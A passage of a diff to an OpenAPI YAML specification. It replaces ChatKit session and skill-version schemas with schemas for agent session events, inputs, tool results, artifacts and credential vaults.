type: string
- description: Identifier of the skill for this version.
- version:
+ minLength: 0
+ description: The ID of the session associated with the event.
+ turn_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the turn associated with the event, when applicable.
+ item_id:
type: string
- description: Version number for this skill.
- created_at:
+ minLength: 0
+ description: The ID of the message item.
+ output_index:
type: integer
- format: unixtime
- description: Unix timestamp (seconds) for when the version was created.
- name:
- type: string
- description: Name of the skill version.
- description:
+ format: int64
+ minimum: 0
+ maximum: 4294967295
+ description: The index of the item in the turn output.
+ content_index:
+ type: integer
+ format: int64
+ minimum: 0
+ maximum: 4294967295
+ description: The index of the content part in the message.
+ text:
type: string
- description: Description of the skill version.
- type: object
+ minLength: 0
+ description: The complete output text.
required:
- - object
- - id
- - skill_id
- - version
- - created_at
- - name
- - description
- SkillVersionListResource:
+ - type
+ - event_id
+ - session_id
+ - turn_id
+ - item_id
+ - output_index
+ - content_index
+ - text
+ additionalProperties: false
+ description: Emitted when an output text content part is complete.
+ SessionEventAgentSessionTurnReasoningSummaryPartAdded:
+ type: object
properties:
- object:
+ type:
+ type: string
+ enum:
+ - agent.session.turn.reasoning_summary_part.added
+ default: agent.session.turn.reasoning_summary_part.added
x-stainless-const: true
- default: list
- description: The type of object returned, must be `list`.
- const: list
- data:
- items:
- $ref: '#/components/schemas/SkillVersionResource'
- type: array
- description: A list of items
- first_id:
- anyOf:
- - type: string
- description: The ID of the first item in the list.
- - type: 'null'
- last_id:
- anyOf:
- - type: string
- description: The ID of the last item in the list.
- - type: 'null'
- has_more:
- type: boolean
- description: Whether there are more items available.
- type: object
+ description: The type of the object. Always `agent.session.turn.reasoning_summary_part.added`.
+ event_id:
+ type: string
+ minLength: 0
+ description: The unique ID of the event.
+ session_id:
+ type: string
+ minLength: 0
+ description: The ID of the session associated with the event.
+ turn_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the turn associated with the event, when applicable.
+ item_id:
+ type: string
+ minLength: 0
+ description: The ID of the reasoning item.
+ output_index:
+ type: integer
+ format: int64
+ minimum: 0
+ maximum: 4294967295
+ description: The index of the item in the turn output.
+ summary_index:
+ type: integer
+ format: int64
+ minimum: 0
+ maximum: 4294967295
+ description: The index of the summary content part.
+ part:
+ $ref: '#/components/schemas/SummaryTextResource'
+ description: The initial summary part.
required:
- - object
- - data
- - first_id
- - last_id
- - has_more
- CreateSkillVersionBody:
- properties:
- files:
- anyOf:
- - items:
- type: string
- format: binary
- type: array
- maxItems: 500
- description: Skill files to upload (directory upload) or a single zip file.
- - type: string
- format: binary
- description: Skill zip file to upload.
- default:
- type: boolean
- description: Whether to set this version as the default.
+ - type
+ - event_id
+ - session_id
+ - turn_id
+ - item_id
+ - output_index
+ - summary_index
+ - part
+ additionalProperties: false
+ description: Emitted when a reasoning summary content part is added.
+ SessionEventAgentSessionTurnReasoningSummaryPartDone:
type: object
- description: Uploads a new immutable version of a skill.
- title: Create skill version request
- DeletedSkillVersionResource:
properties:
- object:
+ type:
type: string
enum:
- - skill.version.deleted
- default: skill.version.deleted
+ - agent.session.turn.reasoning_summary_part.done
+ default: agent.session.turn.reasoning_summary_part.done
x-stainless-const: true
- deleted:
- type: boolean
- id:
+ description: The type of the object. Always `agent.session.turn.reasoning_summary_part.done`.
+ event_id:
type: string
- version:
+ minLength: 0
+ description: The unique ID of the event.
+ session_id:
type: string
- description: The deleted skill version.
- type: object
+ minLength: 0
+ description: The ID of the session associated with the event.
+ turn_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the turn associated with the event, when applicable.
+ item_id:
+ type: string
+ minLength: 0
+ description: The ID of the reasoning item.
+ output_index:
+ type: integer
+ format: int64
+ minimum: 0
+ maximum: 4294967295
+ description: The index of the item in the turn output.
+ summary_index:
+ type: integer
+ format: int64
+ minimum: 0
+ maximum: 4294967295
+ description: The index of the summary part.
+ part:
+ $ref: '#/components/schemas/SummaryTextResource'
+ description: The completed summary part.
+ status:
+ type:
+ - string
+ - 'null'
+ enum:
+ - incomplete
+ - null
+ description: Present as `incomplete` when summary generation was interrupted.
+ x-stainless-const: true
required:
- - object
- - deleted
- - id
- - version
- ChatkitWorkflowTracing:
- properties:
- enabled:
- type: boolean
- description: Indicates whether tracing is enabled.
+ - type
+ - event_id
+ - session_id
+ - turn_id
+ - item_id
+ - output_index
+ - summary_index
+ - part
+ - status
+ additionalProperties: false
+ description: Emitted when a reasoning summary part is complete.
+ SessionEventAgentSessionTurnReasoningSummaryTextDelta:
type: object
- required:
- - enabled
- title: Tracing Configuration
- description: Controls diagnostic tracing during the session.
- ChatkitWorkflow:
properties:
- id:
+ type:
type: string
- description: Identifier of the workflow backing the session.
- version:
- anyOf:
- - type: string
- description: Specific workflow version used for the session. Defaults to null when using the latest deployment.
- - type: 'null'
- state_variables:
- anyOf:
- - additionalProperties:
- anyOf:
- - type: string
- - type: integer
- - type: boolean
- - type: number
- type: object
- description: State variable key-value pairs applied when invoking the workflow. Defaults to null when no overrides were provided.
- x-oaiTypeLabel: map
- - type: 'null'
- tracing:
- $ref: '#/components/schemas/ChatkitWorkflowTracing'
- description: Tracing settings applied to the workflow.
- type: object
- required:
- - id
- - version
- - state_variables
- - tracing
- title: Workflow
- description: Workflow metadata and state returned for the session.
- ChatSessionRateLimits:
- properties:
- max_requests_per_1_minute:
+ enum:
+ - agent.session.turn.reasoning_summary_text.delta
+ default: agent.session.turn.reasoning_summary_text.delta
+ x-stainless-const: true
+ description: The type of the object. Always `agent.session.turn.reasoning_summary_text.delta`.
+ event_id:
+ type: string
+ minLength: 0
+ description: The unique ID of the event.
+ session_id:
+ type: string
+ minLength: 0
+ description: The ID of the session associated with the event.
+ turn_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the turn associated with the event, when applicable.
+ item_id:
+ type: string
+ minLength: 0
+ description: The ID of the reasoning item.
+ output_index:
type: integer
- description: Maximum allowed requests per one-minute window.
- type: object
- required:
- - max_requests_per_1_minute
- title: Rate limits
- description: Active per-minute request limit for the session.
- ChatSessionStatus:
- type: string
- enum:
- - active
- - expired
- - cancelled
- ChatSessionAutomaticThreadTitling:
- properties:
- enabled:
- type: boolean
- description: Whether automatic thread titling is enabled.
- type: object
+ format: int64
+ minimum: 0
+ maximum: 4294967295
+ description: The index of the item in the turn output.
+ summary_index:
+ type: integer
+ format: int64
+ minimum: 0
+ maximum: 4294967295
+ description: The index of the summary content part.
+ delta:
+ type: string
+ minLength: 0
+ description: The summary text that was appended.
required:
- - enabled
- title: Automatic thread titling
- description: Automatic thread title preferences for the session.
- ChatSessionFileUpload:
- properties:
- enabled:
- type: boolean
- description: Indicates if uploads are enabled for the session.
- max_file_size:
- anyOf:
- - type: integer
- description: Maximum upload size in megabytes.
- - type: 'null'
- max_files:
- anyOf:
- - type: integer
- description: Maximum number of uploads allowed during the session.
- - type: 'null'
+ - type
+ - event_id
+ - session_id
+ - turn_id
+ - item_id
+ - output_index
+ - summary_index
+ - delta
+ additionalProperties: false
+ description: Emitted when text is appended to a reasoning summary.
+ SessionEventAgentSessionTurnReasoningSummaryTextDone:
type: object
- required:
- - enabled
- - max_file_size
- - max_files
- title: File upload settings
- description: Upload permissions and limits applied to the session.
- ChatSessionHistory:
properties:
- enabled:
- type: boolean
- description: Indicates if chat history is persisted for the session.
- recent_threads:
- anyOf:
- - type: integer
- description: Number of prior threads surfaced in history views. Defaults to null when all history is retained.
- - type: 'null'
- type: object
+ type:
+ type: string
+ enum:
+ - agent.session.turn.reasoning_summary_text.done
+ default: agent.session.turn.reasoning_summary_text.done
+ x-stainless-const: true
+ description: The type of the object. Always `agent.session.turn.reasoning_summary_text.done`.
+ event_id:
+ type: string
+ minLength: 0
+ description: The unique ID of the event.
+ session_id:
+ type: string
+ minLength: 0
+ description: The ID of the session associated with the event.
+ turn_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the turn associated with the event, when applicable.
+ item_id:
+ type: string
+ minLength: 0
+ description: The ID of the reasoning item.
+ output_index:
+ type: integer
+ format: int64
+ minimum: 0
+ maximum: 4294967295
+ description: The index of the item in the turn output.
+ summary_index:
+ type: integer
+ format: int64
+ minimum: 0
+ maximum: 4294967295
+ description: The index of the summary content part.
+ text:
+ type: string
+ minLength: 0
+ description: The complete reasoning summary text.
required:
- - enabled
- - recent_threads
- title: History settings
- description: History retention preferences returned for the session.
- ChatSessionChatkitConfiguration:
- properties:
- automatic_thread_titling:
- $ref: '#/components/schemas/ChatSessionAutomaticThreadTitling'
- description: Automatic thread titling preferences.
- file_upload:
- $ref: '#/components/schemas/ChatSessionFileUpload'
- description: Upload settings for the session.
- history:
- $ref: '#/components/schemas/ChatSessionHistory'
- description: History retention configuration.
+ - type
+ - event_id
+ - session_id
+ - turn_id
+ - item_id
+ - output_index
+ - summary_index
+ - text
+ additionalProperties: false
+ description: Emitted when a reasoning summary content part is complete.
+ SessionEvent:
+ description: An event emitted by a Managed Agents session.
+ discriminator:
+ propertyName: type
+ mapping:
+ error: '#/components/schemas/SessionEventError'
+ agent.session.environment.ready: '#/components/schemas/SessionEventAgentSessionEnvironmentReady'
+ agent.output.command_execution_output.delta: '#/components/schemas/SessionEventAgentOutputCommandExecutionOutputDelta'
+ agent.session.created: '#/components/schemas/SessionEventAgentSessionCreated'
+ agent.session.turn.created: '#/components/schemas/SessionEventAgentSessionTurnCreated'
+ agent.session.turn.in_progress: '#/components/schemas/SessionEventAgentSessionTurnInProgress'
+ agent.session.turn.completed: '#/components/schemas/SessionEventAgentSessionTurnCompleted'
+ agent.session.turn.failed: '#/components/schemas/SessionEventAgentSessionTurnFailed'
+ agent.session.turn.cancelled: '#/components/schemas/SessionEventAgentSessionTurnCancelled'
+ agent.session.turn.item.added: '#/components/schemas/SessionEventAgentSessionTurnItemAdded'
+ agent.session.idle: '#/components/schemas/SessionEventAgentSessionIdle'
+ agent.session.in_progress: '#/components/schemas/SessionEventAgentSessionInProgress'
+ agent.session.requires_action: '#/components/schemas/SessionEventAgentSessionRequiresAction'
+ agent.session.failed: '#/components/schemas/SessionEventAgentSessionFailed'
+ agent.session.environment.pending: '#/components/schemas/SessionEventAgentSessionEnvironmentPending'
+ agent.session.environment.connected: '#/components/schemas/SessionEventAgentSessionEnvironmentConnected'
+ agent.session.environment.disconnected: '#/components/schemas/SessionEventAgentSessionEnvironmentDisconnected'
+ agent.session.environment.failed: '#/components/schemas/SessionEventAgentSessionEnvironmentFailed'
+ agent.session.subagent.created: '#/components/schemas/SessionEventAgentSessionSubagentCreated'
+ agent.session.subagent.active: '#/components/schemas/SessionEventAgentSessionSubagentActive'
+ agent.session.subagent.closed: '#/components/schemas/SessionEventAgentSessionSubagentClosed'
+ agent.session.turn.item.done: '#/components/schemas/SessionEventAgentSessionTurnItemDone'
+ agent.session.turn.content_part.added: '#/components/schemas/SessionEventAgentSessionTurnContentPartAdded'
+ agent.session.turn.content_part.done: '#/components/schemas/SessionEventAgentSessionTurnContentPartDone'
+ agent.session.turn.output_text.delta: '#/components/schemas/SessionEventAgentSessionTurnOutputTextDelta'
+ agent.session.turn.output_text.done: '#/components/schemas/SessionEventAgentSessionTurnOutputTextDone'
+ agent.session.turn.reasoning_summary_part.added: '#/components/schemas/SessionEventAgentSessionTurnReasoningSummaryPartAdded'
+ agent.session.turn.reasoning_summary_part.done: '#/components/schemas/SessionEventAgentSessionTurnReasoningSummaryPartDone'
+ agent.session.turn.reasoning_summary_text.delta: '#/components/schemas/SessionEventAgentSessionTurnReasoningSummaryTextDelta'
+ agent.session.turn.reasoning_summary_text.done: '#/components/schemas/SessionEventAgentSessionTurnReasoningSummaryTextDone'
+ x-oai-discriminator-values:
+ - error
+ - agent.session.environment.ready
+ - agent.output.command_execution_output.delta
+ - agent.session.created
+ - agent.session.turn.created
+ - agent.session.turn.in_progress
+ - agent.session.turn.completed
+ - agent.session.turn.failed
+ - agent.session.turn.cancelled
+ - agent.session.turn.item.added
+ - agent.session.idle
+ - agent.session.in_progress
+ - agent.session.requires_action
+ - agent.session.failed
+ - agent.session.environment.pending
+ - agent.session.environment.connected
+ - agent.session.environment.disconnected
+ - agent.session.environment.failed
+ - agent.session.subagent.created
+ - agent.session.subagent.active
+ - agent.session.subagent.closed
+ - agent.session.turn.item.done
+ - agent.session.turn.content_part.added
+ - agent.session.turn.content_part.done
+ - agent.session.turn.output_text.delta
+ - agent.session.turn.output_text.done
+ - agent.session.turn.reasoning_summary_part.added
+ - agent.session.turn.reasoning_summary_part.done
+ - agent.session.turn.reasoning_summary_text.delta
+ - agent.session.turn.reasoning_summary_text.done
+ anyOf:
+ - $ref: '#/components/schemas/SessionEventError'
+ - $ref: '#/components/schemas/SessionEventAgentSessionEnvironmentReady'
+ - $ref: '#/components/schemas/SessionEventAgentOutputCommandExecutionOutputDelta'
+ - $ref: '#/components/schemas/SessionEventAgentSessionCreated'
+ - $ref: '#/components/schemas/SessionEventAgentSessionTurnCreated'
+ - $ref: '#/components/schemas/SessionEventAgentSessionTurnInProgress'
+ - $ref: '#/components/schemas/SessionEventAgentSessionTurnCompleted'
+ - $ref: '#/components/schemas/SessionEventAgentSessionTurnFailed'
+ - $ref: '#/components/schemas/SessionEventAgentSessionTurnCancelled'
+ - $ref: '#/components/schemas/SessionEventAgentSessionTurnItemAdded'
+ - $ref: '#/components/schemas/SessionEventAgentSessionIdle'
+ - $ref: '#/components/schemas/SessionEventAgentSessionInProgress'
+ - $ref: '#/components/schemas/SessionEventAgentSessionRequiresAction'
+ - $ref: '#/components/schemas/SessionEventAgentSessionFailed'
+ - $ref: '#/components/schemas/SessionEventAgentSessionEnvironmentPending'
+ - $ref: '#/components/schemas/SessionEventAgentSessionEnvironmentConnected'
+ - $ref: '#/components/schemas/SessionEventAgentSessionEnvironmentDisconnected'
+ - $ref: '#/components/schemas/SessionEventAgentSessionEnvironmentFailed'
+ - $ref: '#/components/schemas/SessionEventAgentSessionSubagentCreated'
+ - $ref: '#/components/schemas/SessionEventAgentSessionSubagentActive'
+ - $ref: '#/components/schemas/SessionEventAgentSessionSubagentClosed'
+ - $ref: '#/components/schemas/SessionEventAgentSessionTurnItemDone'
+ - $ref: '#/components/schemas/SessionEventAgentSessionTurnContentPartAdded'
+ - $ref: '#/components/schemas/SessionEventAgentSessionTurnContentPartDone'
+ - $ref: '#/components/schemas/SessionEventAgentSessionTurnOutputTextDelta'
+ - $ref: '#/components/schemas/SessionEventAgentSessionTurnOutputTextDone'
+ - $ref: '#/components/schemas/SessionEventAgentSessionTurnReasoningSummaryPartAdded'
+ - $ref: '#/components/schemas/SessionEventAgentSessionTurnReasoningSummaryPartDone'
+ - $ref: '#/components/schemas/SessionEventAgentSessionTurnReasoningSummaryTextDelta'
+ - $ref: '#/components/schemas/SessionEventAgentSessionTurnReasoningSummaryTextDone'
+ UpdateAgentSessionParams:
+ type: object
+ properties:
+ metadata:
+ type:
+ - object
+ - 'null'
+ additionalProperties:
+ type: string
+ minLength: 0
+ maxLength: 512
+ propertyNames:
+ type: string
+ minLength: 1
+ maxLength: 64
+ minProperties: 0
+ maxProperties: 16
+ description: Replaces all metadata. Omit to leave unchanged, or pass null or {} to clear it. Up to 16 string key-value pairs, with keys up to 64 and values up to 512 characters.
+ additionalProperties: false
+ description: Fields to update on an existing session.
+ DeletedSessionResource:
type: object
- required:
- - automatic_thread_titling
- - file_upload
- - history
- title: ChatKit configuration
- description: ChatKit configuration for the session.
- ChatSessionResource:
properties:
id:
type: string
- description: Identifier for the ChatKit session.
+ minLength: 0
+ description: The ID of the deleted session.
object:
type: string
enum:
- - chatkit.session
- description: Type discriminator that is always `chatkit.session`.
- default: chatkit.session
+ - agent.session.deleted
+ default: agent.session.deleted
x-stainless-const: true
- expires_at:
- type: integer
- format: unixtime
- description: Unix timestamp (in seconds) for when the session expires.
- client_secret:
- type: string
- description: Ephemeral client secret that authenticates session requests.
- workflow:
- $ref: '#/components/schemas/ChatkitWorkflow'
- description: Workflow metadata for the session.
- user:
- type: string
- description: User identifier associated with the session.
- rate_limits:
- $ref: '#/components/schemas/ChatSessionRateLimits'
- description: Resolved rate limit values.
- max_requests_per_1_minute:
- type: integer
- description: Convenience copy of the per-minute request limit.
- status:
- $ref: '#/components/schemas/ChatSessionStatus'
- description: Current lifecycle state of the session.
- chatkit_configuration:
- $ref: '#/components/schemas/ChatSessionChatkitConfiguration'
- description: Resolved ChatKit feature configuration for the session.
- type: object
+ description: The object type. Always `agent.session.deleted`.
+ deleted:
+ type: boolean
+ description: Whether the session has been removed from the public API. Always `true`. Physical cleanup may still be in progress.
required:
- id
- object
- - expires_at
- - client_secret
- - workflow
- - user
- - rate_limits
- - max_requests_per_1_minute
- - status
- - chatkit_configuration
- title: The chat session object
- description: Represents a ChatKit session and its resolved configuration.
- WorkflowTracingParam:
- properties:
- enabled:
- type: boolean
- description: Whether tracing is enabled during the session. Defaults to true.
+ - deleted
+ additionalProperties: false
+ description: A Managed Agents session removed from the public API. Physical cleanup may continue asynchronously.
+ SessionArtifactResource:
type: object
- required: []
- title: Tracing Configuration
- description: Controls diagnostic tracing during the session.
- WorkflowParam:
properties:
id:
type: string
- description: Identifier for the workflow invoked by the session.
- version:
- type: string
- description: Specific workflow version to run. Defaults to the latest deployed version.
- state_variables:
- additionalProperties:
- anyOf:
- - type: string
- maxLength: 10485760
- - type: integer
- - type: boolean
- - type: number
- type: object
- maxProperties: 64
- description: State variables forwarded to the workflow. Keys may be up to 64 characters, values must be primitive types, and the map defaults to an empty object.
- x-oaiTypeLabel: map
- tracing:
- $ref: '#/components/schemas/WorkflowTracingParam'
- description: Optional tracing overrides for the workflow invocation. When omitted, tracing is enabled by default.
- type: object
- required:
- - id
- title: Workflow settings
- description: Workflow reference and overrides applied to the chat session.
- ExpiresAfterParam:
- properties:
- anchor:
+ minLength: 0
+ description: The immutable artifact ID.
+ object:
type: string
enum:
- - created_at
- description: Base timestamp used to calculate expiration. Currently fixed to `created_at`.
- default: created_at
+ - agent.session.artifact
+ default: agent.session.artifact
x-stainless-const: true
- seconds:
+ description: The object type. Always `agent.session.artifact`.
+ session_id:
+ type: string
+ minLength: 0
+ description: The ID of the session that owns the artifact.
+ environment_id:
+ type: string
+ minLength: 0
+ description: The ID of the environment that produced the artifact.
+ turn_id:
+ type: string
+ minLength: 0
+ description: The ID of the completed turn that published the artifact.
+ path:
+ type: string
+ minLength: 0
+ description: The original absolute file path in the execution environment.
+ size_bytes:
type: integer
- maximum: 600
- minimum: 1
format: int64
- description: Number of seconds after the anchor when the session expires.
- type: object
- required:
- - anchor
- - seconds
- title: Expiration overrides
- description: Controls when the session expires relative to an anchor timestamp.
- RateLimitsParam:
- properties:
- max_requests_per_1_minute:
- type: integer
- minimum: 1
- description: Maximum number of requests allowed per minute for the session. Defaults to 10.
- type: object
- required: []
- title: Rate limit overrides
- description: Controls request rate limits for the session.
- AutomaticThreadTitlingParam:
- properties:
- enabled:
- type: boolean
- description: Enable automatic thread title generation. Defaults to true.
- type: object
- required: []
- title: Automatic thread titling configuration
- description: Controls whether ChatKit automatically generates thread titles.
- FileUploadParam:
- properties:
- enabled:
- type: boolean
- description: Enable uploads for this session. Defaults to false.
- max_file_size:
- type: integer
- maximum: 512
- minimum: 1
- description: Maximum size in megabytes for each uploaded file. Defaults to 512 MB, which is the maximum allowable size.
- max_files:
+ minimum: 0
+ description: The immutable artifact size in bytes.
+ created_at:
type: integer
- minimum: 1
- description: Maximum number of files that can be uploaded to the session. Defaults to 10.
+ format: int64
+ description: The Unix timestamp, in seconds, when the artifact was published.
+ required:
+ - id
+ - object
+ - session_id
+ - environment_id
+ - turn_id
+ - path
+ - size_bytes
+ - created_at
+ additionalProperties: false
+ description: An immutable file published by a completed hosted session turn.
+ SessionArtifactListResource:
type: object
- required: []
- title: File upload configuration
- description: Controls whether users can upload files.
- HistoryParam:
properties:
- enabled:
+ object:
+ type: string
+ enum:
+ - list
+ default: list
+ x-stainless-const: true
+ description: The object type, which is always `list`.
+ data:
+ type: array
+ items:
+ $ref: '#/components/schemas/SessionArtifactResource'
+ minItems: 0
+ maxItems: 2000
+ description: The resources returned in this page, in the requested sort order.
+ first_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the first resource in `data`, or `null` if the page is empty.
+ last_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the last resource in `data`, or `null` if the page is empty. Pass this as `after` with the same order and filters.
+ has_more:
type: boolean
- description: Enables chat users to access previous ChatKit threads. Defaults to true.
- recent_threads:
- type: integer
- minimum: 1
- description: Number of recent ChatKit threads users have access to. Defaults to unlimited when unset.
- type: object
- required: []
- title: Chat history configuration
- description: Controls how much historical context is retained for the session.
- ChatkitConfigurationParam:
- properties:
- automatic_thread_titling:
- $ref: '#/components/schemas/AutomaticThreadTitlingParam'
- description: Configuration for automatic thread titling. When omitted, automatic thread titling is enabled by default.
- file_upload:
- $ref: '#/components/schemas/FileUploadParam'
- description: Configuration for upload enablement and limits. When omitted, uploads are disabled by default (max_files 10, max_file_size 512 MB).
- history:
- $ref: '#/components/schemas/HistoryParam'
- description: Configuration for chat history retention. When omitted, history is enabled by default with no limit on recent_threads (null).
+ description: Whether there are more resources to retrieve after this page.
+ required:
+ - object
+ - data
+ - first_id
+ - last_id
+ - has_more
+ additionalProperties: false
+ description: A page of Agents API resources, with IDs for retrieving additional pages.
+ DeletedSessionArtifactResource:
type: object
- required: []
- title: ChatKit configuration overrides
- description: Optional per-session configuration settings for ChatKit behavior.
- CreateChatSessionBody:
properties:
- workflow:
- $ref: '#/components/schemas/WorkflowParam'
- description: Workflow that powers the session.
- user:
+ id:
type: string
- minLength: 1
- description: A free-form string that identifies your end user; ensures this Session can access other objects that have the same `user` scope.
- expires_after:
- $ref: '#/components/schemas/ExpiresAfterParam'
- description: Optional override for session expiration timing in seconds from creation. Defaults to 10 minutes.
- rate_limits:
- $ref: '#/components/schemas/RateLimitsParam'
- description: Optional override for per-minute request limits. When omitted, defaults to 10.
- chatkit_configuration:
- $ref: '#/components/schemas/ChatkitConfigurationParam'
- description: Optional overrides for ChatKit runtime configuration features
- type: object
+ minLength: 0
+ description: The ID of the deleted session artifact.
+ object:
+ type: string
+ enum:
+ - agent.session.artifact.deleted
+ default: agent.session.artifact.deleted
+ x-stainless-const: true
+ description: The object type. Always `agent.session.artifact.deleted`.
+ deleted:
+ type: boolean
+ description: Whether the session artifact was deleted. Always `true`.
required:
- - workflow
- - user
- title: Create chat session request
- description: Parameters for provisioning a new ChatKit session.
- UserMessageInputText:
+ - id
+ - object
+ - deleted
+ additionalProperties: false
+ description: Confirmation that an immutable session artifact was deleted.
+ SessionInputParamAgentSessionInputMessage:
+ type: object
properties:
type:
type: string
enum:
- - input_text
- description: Type discriminator that is always `input_text`.
- default: input_text
+ - agent.session.input.message
+ default: agent.session.input.message
x-stainless-const: true
- text:
- type: string
- description: Plain-text content supplied by the user.
- type: object
+ description: The type of the object. Always `agent.session.input.message`.
+ input:
+ type: array
+ items:
+ $ref: '#/components/schemas/InputMessageParam'
+ minItems: 0
+ maxItems: 16384
+ description: The user messages to add to the session.
required:
- type
- - text
- title: User message input
- description: Text block that a user contributed to the thread.
- UserMessageQuotedText:
+ - input
+ additionalProperties: false
+ description: Adds one or more user messages and starts a turn.
+ SessionInputParamAgentSessionInputCancel:
+ type: object
properties:
type:
type: string
enum:
- - quoted_text
- description: Type discriminator that is always `quoted_text`.
- default: quoted_text
+ - agent.session.input.cancel
+ default: agent.session.input.cancel
x-stainless-const: true
- text:
- type: string
- description: Quoted text content.
- type: object
+ description: The type of the object. Always `agent.session.input.cancel`.
required:
- type
- - text
- title: User message quoted text
- description: Quoted snippet that the user referenced in their message.
- AttachmentType:
- type: string
- enum:
- - image
- - file
- Attachment:
+ additionalProperties: false
+ description: Cancels the session's active turn.
+ FunctionCallOutputParam:
+ description: A function result represented as text or supported model-input content.
+ anyOf:
+ - type: string
+ minLength: 0
+ maxLength: 1048576
+ - type: array
+ items:
+ $ref: '#/components/schemas/InputContentParam'
+ minItems: 0
+ maxItems: 16384
+ SessionInputParamAgentSessionInputToolResult:
+ type: object
properties:
type:
- $ref: '#/components/schemas/AttachmentType'
- description: Attachment discriminator.
- id:
type: string
- description: Identifier for the attachment.
- name:
+ enum:
+ - agent.session.input.tool_result
+ default: agent.session.input.tool_result
+ x-stainless-const: true
+ description: The type of the object. Always `agent.session.input.tool_result`.
+ turn_id:
type: string
- description: Original display name for the attachment.
- mime_type:
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the turn that requested the function call.
+ call_id:
type: string
- description: MIME type of the attachment.
- preview_url:
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the function call.
+ success:
+ type: boolean
+ description: Whether the function call succeeded.
+ output:
anyOf:
- - type: string
- format: uri
- description: Preview URL for rendering the attachment inline.
+ - $ref: '#/components/schemas/FunctionCallOutputParam'
- type: 'null'
- type: object
+ description: The function result when the call succeeded.
+ error:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ maxLength: 1048576
+ description: The error message when the call failed.
required:
- type
- - id
- - name
- - mime_type
- - preview_url
- title: Attachment
- description: Attachment metadata included on thread items.
- ToolChoice:
- properties:
- id:
- type: string
- description: Identifier of the requested tool.
+ - turn_id
+ - call_id
+ - success
+ additionalProperties: false
+ description: Submits the result of a function call.
+ SessionInputParam:
+ description: Input submitted to an existing session.
+ discriminator:
+ propertyName: type
+ mapping:
+ agent.session.input.message: '#/components/schemas/SessionInputParamAgentSessionInputMessage'
+ agent.session.input.cancel: '#/components/schemas/SessionInputParamAgentSessionInputCancel'
+ agent.session.input.tool_result: '#/components/schemas/SessionInputParamAgentSessionInputToolResult'
+ x-oai-discriminator-values:
+ - agent.session.input.message
+ - agent.session.input.cancel
+ - agent.session.input.tool_result
+ anyOf:
+ - $ref: '#/components/schemas/SessionInputParamAgentSessionInputMessage'
+ - $ref: '#/components/schemas/SessionInputParamAgentSessionInputCancel'
+ - $ref: '#/components/schemas/SessionInputParamAgentSessionInputToolResult'
+ CreateSessionEventsParams:
type: object
- required:
- - id
- title: Tool choice
- description: Tool selection that the assistant should honor when executing the item.
- InferenceOptions:
properties:
- tool_choice:
- anyOf:
- - $ref: '#/components/schemas/ToolChoice'
- description: Preferred tool to invoke. Defaults to null when ChatKit should auto-select.
- - type: 'null'
- model:
- anyOf:
- - type: string
- description: Model name that generated the response. Defaults to null when using the session default.
- - type: 'null'
- type: object
+ events:
+ type: array
+ items:
+ $ref: '#/components/schemas/SessionInputParam'
+ minItems: 0
+ maxItems: 16384
+ description: The input events to submit to the session.
required:
- - tool_choice
- - model
- title: Inference options
- description: Model and tool overrides applied when generating the assistant response.
- UserMessageItem:
+ - events
+ additionalProperties: false
+ description: Input events submitted to an existing session.
+ VaultStatusParam:
+ type: string
+ enum:
+ - active
+ - archived
+ description: Whether a vault or credential is active or archived.
+ VaultStatusFilterParam:
+ description: One or more lifecycle statuses to include when listing vaults or credentials.
+ anyOf:
+ - $ref: '#/components/schemas/VaultStatusParam'
+ - type: array
+ items:
+ $ref: '#/components/schemas/VaultStatusParam'
+ minItems: 0
+ maxItems: 16384
+ VaultResource:
+ type: object
properties:
id:
type: string
- description: Identifier of the thread item.
+ minLength: 0
+ description: The ID of the vault.
object:
type: string
enum:
- - chatkit.thread_item
- description: Type discriminator that is always `chatkit.thread_item`.
- default: chatkit.thread_item
+ - vault
+ default: vault
x-stainless-const: true
+ description: The object type. Always `vault`.
+ name:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The human-readable name of the vault, if set.
+ metadata:
+ type: object
+ additionalProperties:
+ type: string
+ minLength: 0
+ propertyNames:
+ type: string
+ minLength: 0
+ minProperties: 0
+ description: Key-value pairs associated with the vault, such as an application or team identifier.
created_at:
type: integer
- format: unixtime
- description: Unix timestamp (in seconds) for when the item was created.
- thread_id:
- type: string
- description: Identifier of the parent thread.
- type:
+ format: int64
+ description: The Unix timestamp, in seconds, when the vault was created.
+ required:
+ - id
+ - object
+ - name
+ - metadata
+ - created_at
+ additionalProperties: false
+ description: A collection of credentials that agent tools can use to authenticate to MCP servers.
+ VaultListResource:
+ type: object
+ properties:
+ object:
type: string
enum:
- - chatkit.user_message
- default: chatkit.user_message
+ - list
+ default: list
x-stainless-const: true
- content:
- items:
- discriminator:
- propertyName: type
- description: Content blocks that comprise a user message.
- anyOf:
- - $ref: '#/components/schemas/UserMessageInputText'
- - $ref: '#/components/schemas/UserMessageQuotedText'
+ description: The object type, which is always `list`.
+ data:
type: array
- description: Ordered content elements supplied by the user.
- attachments:
items:
- $ref: '#/components/schemas/Attachment'
- type: array
- description: Attachments associated with the user message. Defaults to an empty list.
- inference_options:
- anyOf:
- - $ref: '#/components/schemas/InferenceOptions'
- description: Inference overrides applied to the message. Defaults to null when unset.
- - type: 'null'
+ $ref: '#/components/schemas/VaultResource'
+ minItems: 0
+ maxItems: 2000
+ description: The resources returned in this page, in the requested sort order.
+ first_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the first resource in `data`, or `null` if the page is empty.
+ last_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the last resource in `data`, or `null` if the page is empty. Pass this as `after` with the same order and filters.
+ has_more:
+ type: boolean
+ description: Whether there are more resources to retrieve after this page.
+ required:
+ - object
+ - data
+ - first_id
+ - last_id
+ - has_more
+ additionalProperties: false
+ description: A page of Agents API resources, with IDs for retrieving additional pages.
+ CreateVaultParams:
+ type: object
+ properties:
+ name:
+ type: string
+ minLength: 1
+ maxLength: 1048576
+ description: The name is trimmed before storage. It must contain 1 to 256 UTF-8 bytes after trimming.
+ metadata:
+ type:
+ - object
